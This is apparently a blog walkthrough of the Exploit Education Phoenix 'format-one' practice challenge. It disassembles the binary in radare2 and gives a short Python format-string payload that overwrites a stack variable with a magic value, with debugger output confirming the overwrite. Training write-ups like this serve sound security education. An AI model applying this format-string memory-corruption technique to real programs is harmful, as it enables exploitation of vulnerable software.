Saturday, March 6, 2025

Exploit Education Phoenix x86 Format One


#Table of Contents

#Introduction

Format One is the continuation of the format string vulnerability challenges.

#Recon

$ r2 /opt/phoenix/i486/format-one
[0x080483d0]> aas
Cannot analyze at 0x08048650
[0x080483d0]> afl
0x08048338    1 17           sym._init
0x08048520    7 277  -> 112  sym.frame_dummy
0x08048610    5 49           sym.__do_global_ctors_aux
0x08048641    1 12           sym._fini
0x080484a0    8 113  -> 111  sym.__do_global_dtors_aux
0x08048114   57 604  -> 666  sym..interp
0x080483d0    1 62           entry0
0x080483c0    1 6            sym.imp.__libc_start_main
0x08048728    1 14           loc.__GNU_EH_FRAME_HDR
0x08048744    3 34           sym..eh_frame
0x08048780    1 10           obj.__EH_FRAME_BEGIN
0x08048410    4 49   -> 40   sym.deregister_tm_clones
0x080487a4    1 4            obj.__FRAME_END
0x08048565    6 163          main
0x08048380    1 6            sym.imp.puts
0x08048370    1 6            sym.imp.fgets
0x08048390    1 6            sym.imp.errx
0x080483a0    1 6            sym.imp.sprintf
0x08048360    1 6            sym.imp.printf
0x080483b0    1 6            sym.imp.exit
[0x080483d0]> s main
[0x08048565]> pdf
/ (fcn) main 163
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_3ch @ ebp-0x3c
|           ; var int32_t var_2dh @ ebp-0x2d
|           ; var int32_t var_2ch @ ebp-0x2c
|           ; var int32_t var_ch @ ebp-0xc
|           ; arg int32_t arg_4h @ esp+0x4
|           ; DATA XREF from entry0 @ 0x8048404
|           0x08048565      8d4c2404       lea ecx, [arg_4h]
|           0x08048569      83e4f0         and esp, 0xfffffff0
|           0x0804856c      ff71fc         push dword [ecx - 4]
|           0x0804856f      55             push ebp
|           0x08048570      89e5           mov ebp, esp
|           0x08048572      51             push ecx
|           0x08048573      83ec44         sub esp, 0x44
|           0x08048576      83ec0c         sub esp, 0xc
|           0x08048579      6850860408     push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education ; sym..rodata
|                                                                      ; 0x8048650 ; "Welcome to phoenix/format-one, brought to you by https://exploit.education"
|           0x0804857e      e8fdfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048583      83c410         add esp, 0x10
|           0x08048586      a1a0980408     mov eax, dword [obj.stdin]  ; sym..bss
|                                                                      ; [0x80498a0:4]=0
|           0x0804858b      83ec04         sub esp, 4
|           0x0804858e      50             push eax
|           0x0804858f      6a0f           push 0xf                    ; 15
|           0x08048591      8d45c4         lea eax, [var_3ch]
|           0x08048594      50             push eax
|           0x08048595      e8d6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x0804859a      83c410         add esp, 0x10
|           0x0804859d      85c0           test eax, eax
|       ,=< 0x0804859f      750f           jne 0x80485b0
|       |   0x080485a1      83ec08         sub esp, 8
|       |   0x080485a4      689b860408     push str.Unable_to_get_buffer ; 0x804869b ; "Unable to get buffer"
|       |   0x080485a9      6a01           push 1                      ; 1
|       |   0x080485ab      e8e0fdffff     call sym.imp.errx           ; void errx(int eval)
|       `-> 0x080485b0      c645d300       mov byte [var_2dh], 0
|           0x080485b4      c745f4000000.  mov dword [var_ch], 0
|           0x080485bb      83ec08         sub esp, 8
|           0x080485be      8d45c4         lea eax, [var_3ch]
|           0x080485c1      50             push eax
|           0x080485c2      8d45d4         lea eax, [var_2ch]
|           0x080485c5      50             push eax
|           0x080485c6      e8d5fdffff     call sym.imp.sprintf        ; int sprintf(char *s, const char *format, ...)
|           0x080485cb      83c410         add esp, 0x10
|           0x080485ce      8b45f4         mov eax, dword [var_ch]
|           0x080485d1      3d6c4f7645     cmp eax, 0x45764f6c
|       ,=< 0x080485d6      7416           je 0x80485ee
|       |   0x080485d8      8b45f4         mov eax, dword [var_ch]
|       |   0x080485db      83ec08         sub esp, 8
|       |   0x080485de      50             push eax
|       |   0x080485df      68b0860408     push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x ; 0x80486b0 ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n"
|       |   0x080485e4      e877fdffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x080485e9      83c410         add esp, 0x10
|      ,==< 0x080485ec      eb10           jmp 0x80485fe
|      |`-> 0x080485ee      83ec0c         sub esp, 0xc
|      |    0x080485f1      68e8860408     push str.Well_done__the__changeme__variable_has_been_changed_correctly ; 0x80486e8 ; "Well done, the 'changeme' variable has been changed correctly!"
|      |    0x080485f6      e885fdffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x080485fb      83c410         add esp, 0x10
|      |    ; CODE XREF from main @ 0x80485ec
|      `--> 0x080485fe      83ec0c         sub esp, 0xc
|           0x08048601      6a00           push 0
\           0x08048603      e8a8fdffff     call sym.imp.exit           ; void exit(int status)
[0x08048565]> agf
[0x08048565]>  # int main (int argc, char **argv, char **envp);
    .----------------------------------------------------------------------------------------.
    |  0x8048565                                                                             |
    | (fcn) main 163                                                                         |
    |   int main (int argc, char **argv, char **envp);                                       |
    | ; var int32_t var_3ch @ ebp-0x3c                                                       |
    | ; var int32_t var_2dh @ ebp-0x2d                                                       |
    | ; var int32_t var_2ch @ ebp-0x2c                                                       |
    | ; var int32_t var_ch @ ebp-0xc                                                         |
    | ; arg int32_t arg_4h @ esp+0x4                                                         |
    | ; DATA XREF from entry0 @ 0x8048404                                                    |
    | lea ecx, [arg_4h]                                                                      |
    | and esp, 0xfffffff0                                                                    |
    | push dword [ecx - 4]                                                                   |
    | push ebp                                                                               |
    | mov ebp, esp                                                                           |
    | push ecx                                                                               |
    | sub esp, 0x44                                                                          |
    | sub esp, 0xc                                                                           |
    | ; sym..rodata                                                                          |
    | ; 0x8048650                                                                            |
    | ; "Welcome to phoenix/format-one, brought to you by https://exploit.education"         |
    | push str.Welcome_to_phoenix_format_one__brought_to_you_by_https:__exploit.education    |
    | ; int puts(const char *s)                                                              |
    | call sym.imp.puts;[oa]                                                                 |
    | add esp, 0x10                                                                          |
    | ; sym..bss                                                                             |
    | ; [0x80498a0:4]=0                                                                      |
    | mov eax, dword [obj.stdin]                                                             |
    | sub esp, 4                                                                             |
    | push eax                                                                               |
    | ; 15                                                                                   |
    | push 0xf                                                                               |
    | lea eax, [var_3ch]                                                                     |
    | push eax                                                                               |
    | ; char *fgets(char *s, int size, FILE *stream)                                         |
    | call sym.imp.fgets;[ob]                                                                |
    | add esp, 0x10                                                                          |
    | test eax, eax                                                                          |
    | jne 0x80485b0                                                                          |
    `----------------------------------------------------------------------------------------'
            f t
            | |
            | '-------------------------------------.
            |                                       |
            |                                       |
        .----------------------------------.    .-------------------------------------------------.
        |  0x80485a1                       |    |  0x80485b0                                      |
        | sub esp, 8                       |    | mov byte [var_2dh], 0                           |
        | ; 0x804869b                      |    | mov dword [var_ch], 0                           |
        | ; "Unable to get buffer"         |    | sub esp, 8                                      |
        | push str.Unable_to_get_buffer    |    | lea eax, [var_3ch]                              |
        | ; 1                              |    | push eax                                        |
        | push 1                           |    | lea eax, [var_2ch]                              |
        | ; void errx(int eval)            |    | push eax                                        |
        | call sym.imp.errx;[oc]           |    | ; int sprintf(char *s, const char *format, ...) |
        `----------------------------------'    | call sym.imp.sprintf;[od]                       |
                                                | add esp, 0x10                                   |
                                                | mov eax, dword [var_ch]                         |
                                                | cmp eax, 0x45764f6c                             |
                                                | je 0x80485ee                                    |
                                                `-------------------------------------------------'
                                                        f t
                                                        | |
                                                        | '-------------------.
    .---------------------------------------------------'                     |
    |                                                                         |
.--------------------------------------------------------------------.    .---------------------------------------------------------------------------.
|  0x80485d8                                                         |    |  0x80485ee                                                                |
| mov eax, dword [var_ch]                                            |    | sub esp, 0xc                                                              |
| sub esp, 8                                                         |    | ; 0x80486e8                                                               |
| push eax                                                           |    | ; "Well done, the 'changeme' variable has been changed correctly!"        |
| ; 0x80486b0                                                        |    | push str.Well_done__the__changeme__variable_has_been_changed_correctly    |
| ; "Uh oh, 'changeme' is not the magic value, it is 0x%08x\n"       |    | ; int puts(const char *s)                                                 |
| push str.Uh_oh___changeme__is_not_the_magic_value__it_is_0x_08x    |    | call sym.imp.puts;[oa]                                                    |
| ; int printf(const char *format)                                   |    | add esp, 0x10                                                             |
| call sym.imp.printf;[oe]                                           |    `---------------------------------------------------------------------------'
| add esp, 0x10                                                      |        v
| jmp 0x80485fe                                                      |        |
`--------------------------------------------------------------------'        |
    v                                                                         |
    |                                                                         |
    '--------------------------------------------------------.                |
                                                             | .--------------'
                                                             | |
                                                       .-----------------------------------.
                                                       |  0x80485fe                        |
                                                       | ; CODE XREF from main @ 0x80485ec |
                                                       | sub esp, 0xc                      |
                                                       | push 0                            |
                                                       | ; void exit(int status)           |
                                                       | call sym.imp.exit;[of]            |
                                                       `-----------------------------------'

From the above, the key points are the following:

  • The input is read from STDIN via a call to fgets at address 0x08048595. It is saved at var_3ch with a size restriction of 15 bytes.
  • var_3ch is used as a format string for sprintf at 0x080485c6.
  • The objective is to overwrite var_ch with 0x45764f6c, which is tested at 0x080485d1.

#Exploit

The exploit is almost identical to the one from the previous level, with the only exception being the value that needs to be written to var_ch.

#!/usr/bin/env python3
import os

os.write(1, b'\x25\x33\x32\x78'+b'\x6c\x4f\x76\x45')
$ ./theScript.py > pattern
#!/usr/bin/env rarun2
stdio=/dev/pts/0
stdin=./pattern

Replace /dev/pts/0 with the output of the command tty and ./pattern with the full path to the file that contains the input to be read from the binary.

$ r2 -d /opt/phoenix/i486/format-one -r theProfile.rr2
[0xf7ef4d4b]> aas
Cannot analyze at 0x08048650
[0xf7ef4d4b]> db 0x080485c6
[0xf7ef4d4b]> dc
Welcome to phoenix/format-one, brought to you by https://exploit.education
hit breakpoint at: 80485c6
[0x080485c6]> dr
eax = 0xffb9951c
ebx = 0xf7f2a000
ecx = 0xf7f2ae08
edx = 0x00000000
esi = 0xffb995d4
edi = 0x00000001
esp = 0xffb994f0
ebp = 0xffb99548
eip = 0x080485c6
eflags = 0x00000292
oeax = 0xffffffff
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c  0x78323325 0x45764f6c 0xf7f2c100 0x00000000  %32xlOvE........
0xffb9951c  0x08048300 0x00000000 0x00000000 0x00000000  ................
0xffb9952c  0x00000000 0x00000000 0x00000000 0x00000000  ................
0xffb9953c  0x00000000 0x00000000 0xffb99560 0xffb995dc  ........`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c  0x00000000                                   ....
[0x080485c6]> dso
hit breakpoint at: 80485cb
[0x080485c6]> px/16xw 0xffb99548-0x3c
0xffb9950c  0x78323325 0x45764f6c 0xf7f2c100 0x00000000  %32xlOvE........
0xffb9951c  0x20202020 0x20202020 0x20202020 0x20202020                  
0xffb9952c  0x20202020 0x20202020 0x32663766 0x30343161          f7f2a140
0xffb9953c  0x45764f6c 0x00000000 0xffb99560 0xffb995dc  lOvE....`.......
[0x080485c6]> px/xw 0xffb99548-0xc
0xffb9953c  0x45764f6c                                   lOvE
[0x080485c6]> dc
Well done, the 'changeme' variable has been changed correctly!

#Conclusion

In this level, the approach was almost identical to that of the previous one with the only difference being that a specific value needed to be written to var_ch.